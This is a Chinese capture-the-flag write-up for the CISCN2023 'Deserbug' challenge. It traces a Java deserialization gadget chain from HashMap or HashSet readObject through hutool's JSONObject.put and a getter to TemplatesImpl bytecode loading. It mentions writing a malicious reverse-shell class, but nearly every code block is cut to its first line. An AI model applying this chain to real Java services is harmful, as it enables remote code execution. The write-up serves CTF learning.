CISCN2023 Deserbug
1 | 1 . cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept |
下载附件,有一个lib文件夹
1 | commons-collections-3.2.2.jar |
用jadx反编译后将lib文件夹移到resource目录下,用IDEA打开
为了更好的调试,我直接配置一个jdk8u202了
源码分析
CC的版本是3.2.2,官方修复中新添加了checkUnsafeSerialization功能对反序列化内容进行检测,而CC链常用到的InvokerTransformer就列入了黑名单中,所以应该是需要另外找个链子了
先看Testapp源代码
1 | package com.app; |
从url参数中获取bugstr的值并进行base64解码操作和反序列化操作
根据题目提示我们看一下com.app.Myexpect#getAnyexcept
com.app.Myexpect#getAnyexcept
1 | public Object getAnyexcept() throws Exception { |
一个反射获取构造器并进行实例化对象的操作,和InstantiateTransformer#transform()有点像

既然这样的话我们尝试用CC3链的TrAXFilter#TrAXFilter方法去实现Templates动态加载恶意字节码
然后我们看看**cn.hutool.json.JSONObject#put()**方法
cn.hutool.json.JSONObject#put()
1 |
|

InternalJSONUtil.testValidity(value)是用来验证value是否是可序列化为 JSON 的类型,而wrap函数就是JSON触发getter方法的核心逻辑

当 value 不是基本类型、不是集合、不是 Map、不是 JDK 内部类时,它被当作普通的 Java Bean,而new JSONObject(object, jsonConfig) 会调用构造函数,内部使用反射读取 bean 的所有 getter 属性
这里可以写个demo
1 | package com.app; |
所以链子就是
1 | cn.hutool.json.JSONObject#put() |
然后就是找找如何触发put方法了
回顾CC连如何触发put
HashMap#readObject触发链
最简单的就是HashMap的readObejct去触发put

最终Gadget1
所以最终的链子是
1 | java.utilHashMap#readObject()-> |
最终POC1
1 | package com.app; |

调用栈
1 | newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax) |
然后我们写一个恶意类进行反弹shell
1 | package com.app; |

当然HashSet也是可以的
HashSet#readObject触发链
java.util.HashSet#readObject()
1 | private void readObject(java.io.ObjectInputStream s) |
java.util.HashMap#put()->java.util.HashMap#hash()
1 | public V put(K key, V value) { //Gadget2: key=Object of TiedMapEntry |
然后后面的就跟前面的一样了
最终Gadget2
1 | java.util.HashSet#readObject() |
最终POC2
1 | package com.app; |
